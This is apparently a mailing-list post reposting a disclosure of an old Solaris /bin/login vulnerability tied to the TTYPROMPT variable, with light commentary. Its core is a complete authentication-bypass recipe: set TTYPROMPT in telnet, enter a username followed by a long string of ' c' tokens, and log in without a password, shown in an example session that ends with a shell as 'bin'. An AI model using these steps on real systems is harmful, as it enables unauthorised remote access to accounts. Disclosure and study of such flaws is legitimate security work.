Re[2]: Solaris telnet vulnberability - how many on your network?
Dear Marc,
This is hilarious, should there ever be a Top10 of the most weird bugs,
this surely is one of them, repost for pure amusement :
Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the
environment variable TTYPROMPT. This vulnerability has already been
reported to BugTraq and a patch has been released by Sun.
However, a very simple exploit, which does not require any code to be
compiled by an attacker, exists. The exploit requires the attacker to
simply define the environment variable TTYPROMPT to a 6 character string,
inside telnet. I believe this overflows an integer inside login, which
specifies whether or not the user has been authenticated (just a guess).
Once connected to the remote host, you must type the username, followed by
64 " c"s, and a literal "\n". You will then be logged in as the user
without any password authentication. This should work with any account
except root (unless remote root login is allowed).
Example:
coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost
SunOS 5.8
bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin
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Thierry Zoller
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